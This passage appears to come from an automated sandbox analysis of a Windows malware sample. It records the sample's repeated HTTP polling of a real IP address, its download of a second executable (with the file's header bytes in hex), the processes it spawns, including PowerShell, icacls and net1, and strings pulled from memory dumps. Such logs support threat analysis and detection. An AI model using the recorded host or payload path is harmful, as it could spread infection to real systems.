gor.cardiffphysio.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=VEAj1Nx0QY4VKScoIx9DXWpEf01ibUUFQiUjxKpyZKVl0TpEhycUgSMf3PKqN1G9uiY%2FPyiekX8%2B7Eij0q7Ty1apCQ3K6JNzFrjp5RpZzsp2z%2FVVmA%3D%3D"}]} CF-RAY: 9d2e84852b7bf50e-LAX alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /files/6691015685/KoC0dj3.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Tue 24 Feb 2026 11:10:48 GMT Content-Type: application/octet-stream Content-Length: 3270144 Last-Modified: Fri 20 Feb 2026 18:12:44 GMT Connection: keep-alive ETag: "6998a41c-31e600" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C28B00000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:11:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:11:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30.......5c:T605e,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "KERNEL32" at base 77940000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 77470000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 77470000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 77470000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 74d60000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77470000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77470000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77470000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730b0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "ADVAPI32.DLL" at base 74d90000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72f80000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "SHLWAPI.DLL" at base 76ad0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76ea0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "VERSION.DLL" at base 74390000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 727d0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "USER32.DLL" at base 75030000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 77470000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "MSCOREE.DLL" at base 73160000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 776a0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "PSAPI.DLL" at base 77aa0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "RPCRT4.DLL" at base 74600000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "KERNEL32.DLL" at base 77940000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 712f0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "OLE32.DLL" at base 751b0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73fa0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 776a0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 77470000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71260000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "WLDP.DLL" at base 71240000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "AMSI.DLL" at base 71230000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74390000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 711e0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\SYSWOW64\NELIKKLU.DLL" at base 711a0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 71100000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 77940000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "USERENV.DLL" at base 71200000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 74d90000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 70630000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "SHELL32.DLL" at base 752b0000 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" loaded module "NTDLL.DLL" at base 77ad0000 "cmd.exe" loaded module "KERNEL32" at base 77940000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 77470000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 77470000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 77470000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 74d60000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77470000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77470000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77470000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730b0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 77940000 "cmd.exe" loaded module "NTDLL.DLL" at base 77ad0000 "icacls.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77470000 "icacls.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77470000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77470000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77470000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77470000 "powershell.exe" loaded module "KERNEL32" at base 77940000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730b0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 74d90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72f80000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 76ad0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76ea0000 "powershell.exe" loaded module "VERSION.DLL" at base 74390000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 727d0000 "powershell.exe" loaded module "USER32.DLL" at base 75030000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 77470000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 73160000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 776a0000 "powershell.exe" loaded module "PSAPI.DLL" at base 77aa0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 74600000 "powershell.exe" loaded module "KERNEL32.DLL" at base 77940000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 712f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 751b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 776a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 77250000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 705e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 772f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 77470000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71260000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 70630000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6fdc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 776a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 776a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77ad0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 752b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 71230000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f640000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74390000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 711e0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 74fe0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74fe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 76eb0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\NELIKKLU.DLL" at base 711a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6f5c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base 76eb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6f260000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 776a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6f210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 6f0f0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 744f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 71240000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73fa0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 71100000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 77940000 "powershell.exe" loaded module "USERENV.DLL" at base 71200000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 74d90000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6f0e0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6f0c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 77940000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6f090000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6ef30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6ef00000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6ef00000 "powershell.exe" loaded module "GDI32.DLL" at base 76d90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 732c0000 "net1.exe" loaded module "KERNEL32" at base 77940000 "net1.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 77470000 "net1.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 77470000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 77470000 "net1.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 74d60000 "net1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77470000 "net1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77470000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77470000 "net1.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730b0000 "net1.exe" loaded module "RPCRT4.DLL" at base 74600000 "sROBvkl9.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77470000 "sROBvkl9.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77470000 "sROBvkl9.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77470000 "sROBvkl9.exe" loaded module "KERNEL32" at base 77940000 "sROBvkl9.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730b0000 "sROBvkl9.exe" loaded module "RPCRT4.DLL" at base 74600000 "sROBvkl9.exe" loaded module "SSPICLI.DLL" at base 744f0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74440000 "systemhelper.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77470000 "systemhelper.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77470000 "systemhelper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77470000 "systemhelper.exe" loaded module "KERNEL32" at base 77940000 "systemhelper.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730b0000 "systemhelper.exe" loaded module " pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; 